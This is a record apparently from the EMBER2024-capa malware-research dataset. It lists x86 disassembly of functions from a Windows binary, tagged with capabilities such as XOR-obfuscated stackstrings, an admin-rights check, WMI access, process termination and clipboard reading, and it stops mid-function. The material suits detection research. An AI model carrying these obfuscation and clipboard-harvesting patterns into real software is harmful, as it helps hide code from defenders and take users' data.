joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406f00
Capabilities:
Encode data using xor

Disassembly:
push ebx
push edi
push esi
mov ecx, dword [esp + 0x14]
test ecx, ecx
je 0x406f2e
mov ebx, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
test ebx, ebx
je 0x406fcc
not eax
test bl, 1
jne 0x406f35
mov edx, ebx
cmp ebx, 1
jne 0x406f66
jmp 0x406fca
xor eax, eax
jmp 0x406fcc
lea edx, [ebx - 1]
movzx esi, byte [ecx]
mov edi, eax
shr edi, 4
xor eax, esi
and eax, 0xf
xor edi, dword [eax*4 + 0x447c50]
inc ecx
mov eax, edi
shr eax, 4
and edi, 0xf
shr esi, 4
xor esi, edi
xor eax, dword [esi*4 + 0x447c50]
cmp ebx, 1
je 0x406fca
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [ecx + esi]
mov ebx, eax
shr ebx, 4
xor eax, edi
and eax, 0xf
xor ebx, dword [eax*4 + 0x447c50]
mov eax, ebx
shr eax, 4
and ebx, 0xf
shr edi, 4
xor edi, ebx
xor eax, dword [edi*4 + 0x447c50]
movzx edi, byte [ecx + esi + 1]
mov ebx, eax
shr ebx, 4
xor eax, edi
and eax, 0xf
xor ebx, dword [eax*4 + 0x447c50]
mov eax, ebx
shr eax, 4
and ebx, 0xf
shr edi, 4
xor edi, ebx
xor eax, dword [edi*4 + 0x447c50]
add esi, 2
cmp edx, esi
jne 0x406f70
not eax
pop esi
pop edi
pop ebx
ret
Function at 0x40d160
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
call fcn.00441210
test al, al
je 0x40d2ec
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
call fcn.00439490
test al, al
je 0x40d2e7
call dword [sym.imp.USER32.dll_GetInputState]
mov esi, eax
mov dword [esp], 0xe2e5b0ad
mov dword [esp + 4], 0x36388236
mov word [esp + 8], 0
mov byte [esp + 0xa], 0
xor eax, eax
nop
nop
nop
nop
mov ecx, eax
add cl, 0xbd
xor cl, byte [esp + eax]
add cl, 0x4f
mov byte [esp + eax], cl
inc eax
cmp eax, 0xb
jne 0x40d1b0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esp], 0xb6d91353
mov dword [esp + 4], 0x8cd17259
mov word [esp + 8], 0
mov byte [esp + 0xa], 0
xor eax, eax
nop
nop
nop
mov ecx, eax
add cl, 0xa1
xor cl, byte [esp + eax]
add cl, 0xdb
mov byte [esp + eax], cl
inc eax
cmp eax, 0xb
jne 0x40d1f0
mov dword [esp], 0x9f9e99b9
xor eax, eax
nop
nop
nop
mov ecx, eax
add cl, 0x5a
xor cl, byte [esp + eax]
add cl, 0x3e
mov byte [esp + eax], cl
inc eax
cmp eax, 4
jne 0x40d210
test esi, esi
je 0x40d29a
mov dword [esp], 0x9907add3
mov dword [esp + 4], 0x43487cba
mov word [esp + 8], 0
mov ecx, 0xb077b81f
mov eax, 0x4f8847e0
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0x4f8847e1]
lea edx, [ecx + 1]
mov edi, edx
and edi, esi
mov ebx, edi
and ebx, 0x2d
mov ebp, edi
and ebp, 2
or edi, 2
imul edi, ebp
xor ebp, 2
imul ebp, ebx
add edi, ebp
mov ebx, ecx
sub ebx, edi
add edi, eax
xor edi, esi
and ebx, esi
add ebx, ebx
sub ebx, edi
add bl, 0x60
mov byte [esp + ecx + 0x4f8847e1], bl
dec eax
mov ecx, edx
cmp edx, 0xb077b829
jne 0x40d250
mov dword [esp], 0xe0f0809
mov dword [esp + 4], 0x2030c0d
mov dword [esp + 8], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x42
xor cl, byte [esp + eax]
add cl, 0xb6
mov byte [esp + eax], cl
inc eax
cmp eax, 0xc
jne 0x40d2c0
call fcn.0040e220
test al, al
je 0x40d2e7
call fcn.00411040
call fcn.0040ff20
call fcn.004425f0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40d500
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x54
mov edx, dword [esp + 0x70]
mov esi, dword [esp + 0x6c]
mov dword [esp + 0x10], ecx
mov ecx, dword [ecx + 0x60]
mov word [esp], 0x9d93
mov byte [esp + 2], 0x66
mov dword [esp + 3], 0
xor ebx, ebx
nop
nop
nop
nop
nop
mov eax, ebx
add al, 0x99
xor al, byte [esp + ebx]
add al, 3
mov byte [esp + ebx], al
inc ebx
cmp ebx, 7
jne 0x40d530
mov dword [esp + 8], 0x8a8488a2
mov dword [esp + 0xc], 0xbf86
mov ebx, 0x7c9a195f
mov ebp, 0xa0
nop
nop
nop
nop
movzx eax, byte [esp + ebx - 0x7c9a1957]
mov edi, eax
not edi
or edi, ebp
or eax, ebx
and eax, edi
mov edi, eax
and edi, 1
xor eax, 1
lea eax, [eax + edi*2]
add al, 0x24
mov byte [esp + ebx - 0x7c9a1957], al
inc ebx
dec ebp
cmp ebx, 0x7c9a1967
jne 0x40d560
mov dword [esp + 0x14], 0x424c7877
mov dword [esp + 0x18], 0x464a7470
mov dword [esp + 0x1c], 0x35c23c77
mov dword [esp + 0x20], 0x3e3932c1
mov dword [esp + 0x24], 0xe31cdc2
mov dword [esp + 0x28], 0xcc1b516b
mov dword [esp + 0x2c], 0xd329d7ce
mov dword [esp + 0x30], 0x2a0214d4
mov dword [esp + 0x34], 0xdcdbdbd1
mov dword [esp + 0x38], 0xdc21db27
mov dword [esp + 0x3c], 0x1b522dde
mov dword [esp + 0x40], 0x26e5e1e1
mov dword [esp + 0x44], 0x1eee1c10
mov dword [esp + 0x48], 0x1aec5f25
mov dword [esp + 0x4c], 0x472108ef
mov byte [esp + 0x50], 0x60
mov word [esp + 0x51], 0
mov byte [esp + 0x53], 0
mov ebx, 0x37
mov ebp, 0xc8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + ebx - 0x23]
mov edi, ebx
or edi, eax
not eax
or eax, ebp
and eax, edi
add al, 0xed
mov byte [esp + ebx - 0x23], al
inc ebx
dec ebp
cmp ebx, 0x77
jne 0x40d630
mov eax, dword [esp + 0x68]
add eax, ecx
movzx ebx, byte [esp + 0x14]
mov edi, eax
test bl, bl
je 0x40d67c
lea ebp, [esp + 0x15]
mov edi, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], bl
inc edi
movzx ebx, byte [ebp]
inc ebp
test bl, bl
jne 0x40d670
mov byte [edi], 0
movzx ebx, byte [esi]
test bl, bl
je 0x40d69b
inc esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], bl
inc edi
movzx ebx, byte [esi]
inc esi
test bl, bl
jne 0x40d690
mov byte [edi], 0
movzx ebx, byte [esp + 8]
test bl, bl
je 0x40d6bb
lea esi, [esp + 9]
nop
nop
nop
nop
nop
mov byte [edi], bl
inc edi
movzx ebx, byte [esi]
inc esi
test bl, bl
jne 0x40d6b0
mov byte [edi], 0
movzx ebx, byte [edx]
test bl, bl
je 0x40d6db
inc edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], bl
inc edi
movzx ebx, byte [edx]
inc edx
test bl, bl
jne 0x40d6d0
mov byte [edi], 0
movzx edx, byte [esp]
test dl, dl
je 0x40d6fb
lea esi, [esp + 1]
nop
nop
nop
nop
nop
nop
mov byte [edi], dl
inc edi
movzx edx, byte [esi]
inc esi
test dl, dl
jne 0x40d6f0
mov byte [edi], 0
sub edi, eax
mov eax, dword [esp + 0x10]
add dword [eax + 0x60], edi
add esp, 0x54
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x40ff30
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x434
mov dword [esp + 0x34], 0xb725897d
mov dword [esp + 0x38], 0xb35bb532
mov dword [esp + 0x3c], 0xbf2ab124
mov dword [esp + 0x40], 0xbb69bd5d
mov dword [esp + 0x44], 0xa774b965
mov dword [esp + 0x48], 0xa382a574
mov dword [esp + 0x4c], 0xaf55a188
mov dword [esp + 0x50], 0xab38ad45
mov dword [esp + 0x54], 0x57c5a944
mov dword [esp + 0x58], 0x53cd55cf
mov dword [esp + 0x5c], 0x5fac5170
mov dword [esp + 0x60], 0x5b7a5da0
mov dword [esp + 0x64], 0x47965989
mov dword [esp + 0x68], 0x43924596
mov dword [esp + 0x6c], 0x4f6e4187
mov dword [esp + 0x70], 0x4ba34db7
mov dword [esp + 0x74], 0x77ac49da
mov dword [esp + 0x78], 0x73b575a8
mov dword [esp + 0x7c], 0x7fe67150
mov dword [esp + 0x80], 0x7ba67da6
mov dword [esp + 0x84], 0x67467951
mov dword [esp + 0x88], 0x63f265a5
mov dword [esp + 0x8c], 0x6ffa61f0
mov dword [esp + 0x90], 0x6b916d81
mov dword [esp + 0x94], 0x17f86985
mov dword [esp + 0x98], 0x13fb15e3
mov dword [esp + 0x9c], 0x1fcd118c
mov dword [esp + 0xa0], 0x1bc51dc1
mov dword [esp + 0xa4], 0x7d419c3
mov dword [esp + 0xa8], 0x3d805db
mov dword [esp + 0xac], 0xf260120
mov dword [esp + 0xb0], 0xbc20dfb
mov dword [esp + 0xb4], 0x37c309f4
mov dword [esp + 0xb8], 0x33e635c0
mov dword [esp + 0xbc], 0x3faa3110
mov dword [esp + 0xc0], 0x3bad3dd5
mov dword [esp + 0xc4], 0x270639d5
mov dword [esp + 0xc8], 0x23cf25ef
mov dword [esp + 0xcc], 0x2fb921cf
mov dword [esp + 0xd0], 0x2b032dbf
mov dword [esp + 0xd4], 0xd7192908
mov dword [esp + 0xd8], 0xd34cd53c
mov dword [esp + 0xdc], 0xdf4bd143
mov dword [esp + 0xe0], 0xdb09dd31
mov dword [esp + 0xe4], 0xc717d909
mov dword [esp + 0xe8], 0xc310c51d
mov dword [esp + 0xec], 0xcf1cc110
mov dword [esp + 0xf0], 0xcb18cd1c
mov dword [esp + 0xf4], 0xf7d6c918
mov dword [esp + 0xf8], 0xf313f50b
mov dword [esp + 0xfc], 0xff1ff11a
mov dword [esp + 0x100], 0xfb13fd62
mov dword [esp + 0x104], 0xe73bf92b
mov dword [esp + 0x108], 0xe339e53b
mov dword [esp + 0x10c], 0xef31e132
mov dword [esp + 0x110], 0xebeaed36
mov dword [esp + 0x114], 0
mov eax, dword [0x450c18]
mov dword [esp], eax
mov ecx, 0x2bcd36dd
mov eax, 0x5432c921
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebp, byte [esp + ecx - 0x2bcd36a9]
lea ebx, [ecx - 0x7fffffff]
lea esi, [ebp*2]
not esi
add esi, ebp
mov edx, eax
and edx, 0x541208e4
mov edi, ebx
and edi, 0xab09131b
or edi, edx
lea edx, [eax - 0x80000000]
xor edi, 0xab29d31b
and edi, edx
mov edx, ebp
and edx, 0x5a
and esi, 0xa5
or esi, edx
lea edx, [eax - 0x5432c900]
and edx, 0xa0
and ebx, 0x5f
or ebx, edx
xor ebx, 0xa0
or ebx, ebp
xor esi, edi
not ebp
and ebp, edi
xor esi, 0x5a
or ebp, esi
and ebx, ebp
add bl, 0xaa
mov byte [esp + ecx - 0x2bcd36a9], bl
inc ecx
dec eax
cmp ecx, 0x2bcd37c1
jne 0x410190
lea ebp, [esp + 0x34]
push 0
push 0
push 0
push 0
push ebp
call dword [esp + 0x14]
mov esi, eax
xor eax, eax
test esi, esi
setne al
mov eax, dword [eax*4 + 0x44aff0]
mov ecx, 0x537c3b4a
xor ecx, dword [0x44aff8]
add eax, ecx
inc eax
jmp eax
Function at 0x410760
Capabilities:
Contain obfuscated stackstrings
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x238
mov dword [esp + 0x38], 0xcf5dc9b5
mov dword [esp + 0x3c], 0xc35bcd42
mov dword [esp + 0x40], 0xc75ac15c
mov dword [esp + 0x44], 0xfba9c5a5
mov dword [esp + 0x48], 0xffacf9ad
mov dword [esp + 0x4c], 0xf3d2fdac
mov dword [esp + 0x50], 0xf79df1a8
mov dword [esp + 0x54], 0xeb78f56d
mov dword [esp + 0x58], 0xef7de98c
mov dword [esp + 0x5c], 0xe375ed67
mov dword [esp + 0x60], 0xe794e1c0
mov dword [esp + 0x64], 0x1b3ae590
mov dword [esp + 0x68], 0x1f4e1949
mov dword [esp + 0x6c], 0x13421d4e
mov dword [esp + 0x70], 0x1736115f
mov dword [esp + 0x74], 0xb93157f
mov dword [esp + 0x78], 0xf44099a
mov dword [esp + 0x7c], 0x34d0d58
mov dword [esp + 0x80], 0x78e0120
mov dword [esp + 0x84], 0x3b6e054e
mov dword [esp + 0x88], 0x3f1e3961
mov dword [esp + 0x8c], 0x33a23d7d
mov dword [esp + 0x90], 0x37aa31a0
mov dword [esp + 0x94], 0x2b413551
mov dword [esp + 0x98], 0x2f48294d
mov dword [esp + 0x9c], 0x23bb2d53
mov dword [esp + 0xa0], 0x277521b4
mov dword [esp + 0xa4], 0x5b0d2571
mov dword [esp + 0xa8], 0x5f0c5913
mov dword [esp + 0xac], 0x53185d0b
mov dword [esp + 0xb0], 0x570e5170
mov dword [esp + 0xb4], 0x4b32552b
mov dword [esp + 0xb8], 0x4f33493c
mov dword [esp + 0xbc], 0x431e4d30
mov dword [esp + 0xc0], 0x47da4160
mov dword [esp + 0xc4], 0x7be545dd
mov dword [esp + 0xc8], 0x7f5e791d
mov dword [esp + 0xcc], 0x73177d07
mov dword [esp + 0xd0], 0x77e97117
mov dword [esp + 0xd4], 0x6b3375e7
mov dword [esp + 0xd8], 0x6f296948
mov dword [esp + 0xdc], 0x63f46df4
mov dword [esp + 0xe0], 0x67fb61f3
mov dword [esp + 0xe4], 0x9bc96501
mov dword [esp + 0xe8], 0x9fcf99c9
mov dword [esp + 0xec], 0x93c09dd5
mov dword [esp + 0xf0], 0x97c491c0
mov dword [esp + 0xf4], 0x8bd895c4
mov dword [esp + 0xf8], 0x8fae89d8
mov dword [esp + 0xfc], 0x83e38dfb
mov dword [esp + 0x100], 0x87e7811a
mov dword [esp + 0x104], 0xbb238512
mov dword [esp + 0x108], 0xbfebb9eb
mov dword [esp + 0x10c], 0xb3f9bdeb
mov dword [esp + 0x110], 0xb7e1b1e2
mov dword [esp + 0x114], 0xabaab5fe
mov word [esp + 0x118], 0
mov eax, dword [0x450c18]
mov ecx, 0xd2
mov edx, 0x1cbe9b2d
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 0x9a]
mov ebx, ecx
xor ebx, edx
and ebx, esi
xor ebx, edx
mov esi, ebx
xor esi, 0xe4
not ebx
and ebx, 0x64
add ebx, ebx
sub ebx, esi
inc bl
mov byte [esp + ecx - 0x9a], bl
inc ecx
dec edx
cmp ecx, 0x1b4
jne 0x4109c0
lea edi, [esp + 0x38]
push 0
push 0
push 0
push 0
push edi
call eax
xor ecx, ecx
test eax, eax
setne cl
mov edx, dword [ecx*4 + 0x44b130]
mov ecx, 0x448d8271
xor ecx, dword [0x44b138]
add ecx, edx
inc ecx
jmp ecx
Function at 0x41e050
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
mov eax, 0x10c0
call fcn.0040ca30
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
mov esi, 0xfffffffe
nop
nop
cmp word [eax + esi + 2], 0
lea esi, [esi + 2]
jne 0x41e070
sar esi, 1
lea ecx, [esp + 0x2c]
push ecx
push 0
push 0
push esi
push eax
push 0
call dword [0x451f5c]
mov ebx, dword [esp + 0x2c]
mov edi, 0xffffffff
test ebx, ebx
jns 0x41e0a4
mov eax, 0xffffffff
jmp 0x41e0a7
lea eax, [ebx + ebx]
push eax
call fcn.0040cad0
add esp, 4
lea ecx, [esp + 0x2c]
push ecx
push ebx
mov dword [esp + 0x28], eax
push eax
push esi
mov eax, dword [ebp + 0xc]
push dword [eax + 4]
push 0
call dword [0x451f5c]
mov eax, dword [esp + 0x2c]
mov ecx, eax
add ecx, 0xd
js 0x41e0dc
lea edi, [eax*2 + 0x1a]
push edi
call fcn.0040cad0
add esp, 4
mov dword [esp + 4], eax
mov dword [esp + 0xbc], 0x21d227c0
mov dword [esp + 0xc0], 0xddaf23c3
mov dword [esp + 0xc4], 0xd9fedf50
mov dword [esp + 0xc8], 0xd545db36
mov dword [esp + 0xcc], 0xd15bd746
mov dword [esp + 0xd0], 0xcd43d34b
mov dword [esp + 0xd4], 0xc9cecf5a
mov eax, 0x58d04479
mov ecx, 0xa72fbb86
movzx esi, byte [esp + eax - 0x58d043bd]
mov edx, eax
and edx, esi
mov ebx, edx
and ebx, 0xfffffffd
mov edi, edx
and edi, 2
or edx, 2
imul edx, edi
xor edi, 2
imul edi, ebx
add edx, edi
mov edi, ecx
sub edi, esi
add esi, eax
and edi, edx
not edx
and edx, esi
sub edx, edi
mov esi, edx
not esi
and esi, 0x22
and edx, 0xdd
sub edx, esi
add dl, 0xc5
mov byte [esp + eax - 0x58d043bd], dl
inc eax
dec ecx
cmp eax, 0x58d04495
jne 0x41e140
mov eax, dword [esp + 0x20]
movzx ecx, word [eax]
mov edi, dword [esp + 4]
mov eax, edi
test cx, cx
je 0x41e1c1
mov eax, dword [esp + 0x20]
lea edx, [eax + 2]
mov eax, edi
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41e1b0
mov word [eax], 0
movzx ecx, word [esp + 0xbc]
test cx, cx
je 0x41e1f1
lea edx, [esp + 0xbe]
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41e1e0
mov word [eax], 0
lea eax, [esp + 0x50]
push 0x60
push 3
push 0x120089
push eax
push edi
call fcn.00445a20
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44c918]
Function at 0x423b00
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x1c
mov ebx, dword [esp + 0x34]
mov ebp, 0xfffffffe
cmp word [ebx + ebp + 2], 0
lea ebp, [ebp + 2]
jne 0x423b10
sar ebp, 1
lea eax, [esp + 4]
push eax
push 0
push 0
push ebp
push ebx
push 0
call dword [0x451f5c]
mov edi, dword [esp + 4]
test edi, edi
jns 0x423b3f
mov eax, 0xffffffff
jmp 0x423b42
lea eax, [edi + edi]
push eax
call fcn.0040cad0
add esp, 4
mov esi, eax
lea eax, [esp + 4]
push eax
push edi
push esi
push ebp
push ebx
push 0
call dword [0x451f5c]
lea ebx, [esp + 8]
push ebx
push esi
call fcn.00445bf0
add esp, 8
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44ccd4]
Function at 0x425f00
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
mov edi, dword [esp + 0x28]
mov eax, 0xfffffffe
cmp word [edi + eax + 2], 0
lea eax, [eax + 2]
jne 0x425f10
cmp eax, 0xffffffed
jge 0x425f27
mov eax, 0xffffffff
jmp 0x425f2a
add eax, 0x12
push eax
call fcn.0040cad0
add esp, 4
mov esi, eax
mov dword [esp], 0xf1a30fb0
mov dword [esp + 4], 0xf569f357
mov dword [esp + 8], 0xf918f720
mov dword [esp + 0xc], 0xfd58fb5c
mov dword [esp + 0x10], 0xfffc
xor eax, eax
xor ecx, ecx
movzx edx, byte [esp + ecx]
mov ebx, eax
and ebx, 0x3a
mov ebp, ecx
xor ebp, 0x512004fd
add ebp, ebx
xor ebp, edx
mov edx, ebp
and edx, 1
xor ebp, 1
lea edx, [edx*2]
add edx, ebp
add dl, 0xe
mov byte [esp + ecx], dl
inc ecx
add eax, 2
cmp ecx, 0x14
jne 0x425f60
movzx ecx, word [edi]
mov eax, esi
test cx, cx
je 0x425fc1
add edi, 2
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edi]
add edi, 2
test cx, cx
jne 0x425fb0
mov word [eax], 0
movzx ecx, word [esp]
test cx, cx
je 0x425ff1
lea edx, [esp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x425fe0
mov word [eax], 0
mov eax, esp
push eax
push esi
call fcn.00445bf0
add esp, 8
mov edi, eax
mov ebx, dword [esp]
jmp dword [0x44cdcc]
Function at 0x429160
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x48
mov edi, dword [0x451f5c]
mov dword [esp], 0x4f0f492d
mov dword [esp + 4], 0x43d24ddc
mov dword [esp + 8], 0x47e74104
mov dword [esp + 0xc], 0xbb1b45d0
mov dword [esp + 0x10], 0xbf12b9dd
mov dword [esp + 0x14], 0xb32abd08
mov dword [esp + 0x18], 0xb724b125
mov dword [esp + 0x1c], 0xab0fb510
mov dword [esp + 0x20], 0xaf08a93e
mov dword [esp + 0x24], 0xa334ad35
mov dword [esp + 0x28], 0xa70aa104
mov dword [esp + 0x2c], 0x9b0ca514
mov dword [esp + 0x30], 0x9f04990b
mov dword [esp + 0x34], 0x930e9d05
mov dword [esp + 0x38], 0x97019135
mov dword [esp + 0x3c], 0x9594
mov byte [esp + 0x40], 0
mov esi, 0xecb31672
mov ebx, 0x134ce98d
nop
nop
nop
nop
nop
movzx eax, byte [esp + esi + 0x134ce98e]
mov edx, eax
mov ebp, eax
xor edx, esi
or edx, ebx
mov eax, edx
or al, 2
inc al
mov ecx, edx
shr cl, 1
and cl, 1
mul cl
mov ecx, eax
add cl, al
mov eax, ebp
add cl, al
test dl, 2
sete al
not dl
or dl, 2
mul dl
add al, al
sub cl, al
movzx eax, cl
add eax, esi
add al, 0xc6
mov byte [esp + esi + 0x134ce98e], al
inc esi
dec ebx
cmp esi, 0xecb316b3
jne 0x429200
lea ebp, [esp + 0x44]
mov ebx, esp
push ebp
push 0
push 0
push 0x1e
push ebx
push 0
call edi
mov edi, dword [esp + 0x44]
test edi, edi
jns 0x429271
mov eax, 0xffffffff
jmp 0x429274
lea eax, [edi + edi]
push eax
call fcn.0040cad0
add esp, 4
mov esi, eax
mov eax, dword [0x451f5c]
mov dword [esp], 0x9353917d
mov dword [esp + 4], 0x9f0e9d0c
mov dword [esp + 8], 0x9b3b9954
mov dword [esp + 0xc], 0x87278518
mov dword [esp + 0x10], 0x8326816d
mov dword [esp + 0x14], 0x8f268d30
mov dword [esp + 0x18], 0x8b1c8915
mov dword [esp + 0x1c], 0x77db75d8
mov dword [esp + 0x20], 0x73d071e2
mov dword [esp + 0x24], 0x7fec7dd5
mov dword [esp + 0x28], 0x7bde79d4
mov dword [esp + 0x2c], 0x67f465d4
mov dword [esp + 0x30], 0x63cc61f7
mov dword [esp + 0x34], 0x6ffa6dc5
mov dword [esp + 0x38], 0x6bf969c5
mov word [esp + 0x3c], 0x5554
mov dword [esp + 0x3e], 0
xor ecx, ecx
nop
nop
nop
nop
mov edx, ecx
add dl, 0xe4
xor dl, byte [esp + ecx]
add dl, 0x8c
mov byte [esp + ecx], dl
inc ecx
cmp ecx, 0x42
jne 0x429310
push ebp
push edi
push esi
push 0x1e
push ebx
push 0
call eax
mov dword [esp], 0x178e1974
mov dword [esp + 4], 0x13801599
mov dword [esp + 8], 0xf93118c
mov dword [esp + 0xc], 0xb940d82
mov dword [esp + 0x10], 0x7880991
mov dword [esp + 0x14], 0x3020598
mov dword [esp + 0x18], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x86
xor cl, byte [esp + eax]
add cl, 0x62
mov byte [esp + eax], cl
inc eax
cmp eax, 0x1c
jne 0x429370
push 0
push 0
push ebx
push esi
push dword [esp + 0x6c]
call fcn.00423b00
add esp, 0x14
jmp dword [0x44d544]
Function at 0x435970
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x318
mov dword [esp + 0x2fc], 0x44e974
mov dword [esp + 0xe8], 0
lea eax, [esp + 0xe8]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x448c50
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0x448c60
mov eax, dword [sym.imp.ole32.dll_CoCreateInstance]
call eax
sub esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 0x2f8], eax
mov eax, dword [esp + 0x2fc]
mov ecx, dword [esp + 0x2f8]
mov eax, dword [eax + ecx*4]
mov dword [esp + 0x2f4], 0x44e1a0
mov dword [esp + 0x2f0], 0xaf
mov dword [esp + 0x2ec], 0x44e97c
mov dword [esp + 0x2e4], 0x44e984
mov dword [esp + 0x2dc], 0x44e1a0
mov dword [esp + 0x2d8], 0xb2
mov dword [esp + 0x2d4], 0x44e98c
mov dword [esp + 0x2cc], 0x44e994
mov dword [esp + 0x2c4], 0x44e1a0
mov dword [esp + 0x2c0], 0xb5
mov dword [esp + 0x2bc], 0x44e99c
mov dword [esp + 0x2b4], 0x44e9a4
mov dword [esp + 0x2ac], 0x44e9ac
mov dword [esp + 0x2a4], 0x44e9b4
mov dword [esp + 0x29c], 0x44e9bc
mov dword [esp + 0x294], 0x44e1a0
mov dword [esp + 0x290], 0xbb
mov dword [esp + 0x28c], 0x44e9c4
mov dword [esp + 0x284], 0x44e1a0
mov dword [esp + 0x280], 0xbe
mov dword [esp + 0x27c], 0x44e1a0
mov dword [esp + 0x278], 0xbe
mov dword [esp + 0x274], 0x44e9cc
mov dword [esp + 0x26c], 0x44e9d4
mov dword [esp + 0x264], 0x44e9dc
mov dword [esp + 0x25c], 0x44e1a0
mov dword [esp + 0x258], 0xc2
mov dword [esp + 0x254], 0x44e1a0
mov dword [esp + 0x250], 0xc3
mov dword [esp + 0x24c], 0x44e9e4
mov dword [esp + 0x244], 0x44e9ec
mov dword [esp + 0x23c], 0x44e1a0
mov dword [esp + 0x238], 0xc6
mov dword [esp + 0x234], 0x44e1a0
mov dword [esp + 0x230], 0xc7
mov dword [esp + 0x22c], 0x44e9f4
mov dword [esp + 0x224], 0x44e1a0
mov dword [esp + 0x220], 0xc9
mov dword [esp + 0x21c], 0x44e9fc
mov dword [esp + 0x214], 0x44e1a0
mov dword [esp + 0x210], 0xcb
mov dword [esp + 0x20c], 0x44ea04
mov dword [esp + 0x204], 0x44ea0c
mov dword [esp + 0x1fc], 0x44ea14
mov dword [esp + 0x1f4], 0x44e1a0
mov dword [esp + 0x1f0], 0xcf
mov dword [esp + 0x1ec], 0x44e1a0
mov dword [esp + 0x1e8], 0xd0
mov dword [esp + 0x1e4], 0x44e1a0
mov dword [esp + 0x1e0], 0xd1
mov dword [esp + 0x1dc], 0x44ea1c
mov dword [esp + 0x1d4], 0x44ea24
mov dword [esp + 0x1cc], 0x44ea2c
mov dword [esp + 0x1c4], 0x44e1a0
mov dword [esp + 0x1c0], 0xd5
mov dword [esp + 0x1bc], 0x44ea34
mov dword [esp + 0x1b4], 0x44ea3c
mov dword [esp + 0x1ac], 0x44e1a0
mov dword [esp + 0x1a8], 0xd8
mov dword [esp + 0x1a4], 0x44e1a0
mov dword [esp + 0x1a0], 0xd9
mov dword [esp + 0x19c], 0x44e1a0
mov dword [esp + 0x198], 0xda
mov dword [esp + 0x194], 0x44e1a0
mov dword [esp + 0x190], 0xb0
mov dword [esp + 0x18c], 0x44e1a0
mov dword [esp + 0x188], 0xb3
mov dword [esp + 0x184], 0x44e1a0
mov dword [esp + 0x180], 0xb8
mov dword [esp + 0x17c], 0x44e1a0
mov dword [esp + 0x178], 0xbf
mov dword [esp + 0x174], 0x44e1a0
mov dword [esp + 0x170], 0xc4
mov dword [esp + 0x16c], 0x44e1a0
mov dword [esp + 0x168], 0xcc
mov dword [esp + 0x164], 0x44e1a0
mov dword [esp + 0x160], 0xd3
mov dword [esp + 0x15c], 0x44e1a0
mov dword [esp + 0x158], 0xd6
xor edi, edi
jmp eax
Function at 0x437680
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
sub esp, 4
xor ebx, ebx
cmp eax, 0
je 0x4377e4
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
sub esp, 8
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
sub esp, 4
mov edi, eax
cmp edi, 0
setne al
xor ebx, ebx
test al, 1
jne 0x4376e1
jmp 0x4377de
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub esp, 4
mov ebp, eax
mov dword [esp], ebp
call fcn.0040cbe0
cmp eax, 0
setne cl
xor ebx, ebx
test cl, 1
jne 0x437709
jmp 0x4377d2
mov cl, byte [esp + 0xc]
mov byte [esp + 0x10], cl
mov byte [esp + 0x14], 0xb9
mov byte [esp + 0x15], 0xc3
mov byte [esp + 0x16], 0xc5
mov byte [esp + 0x17], 0xc1
mov byte [esp + 0x18], 0xd2
mov byte [esp + 0x19], 0xc2
mov byte [esp + 0x1a], 0xd1
mov byte [esp + 0x1b], 0xc7
mov byte [esp + 0x1c], 0xd0
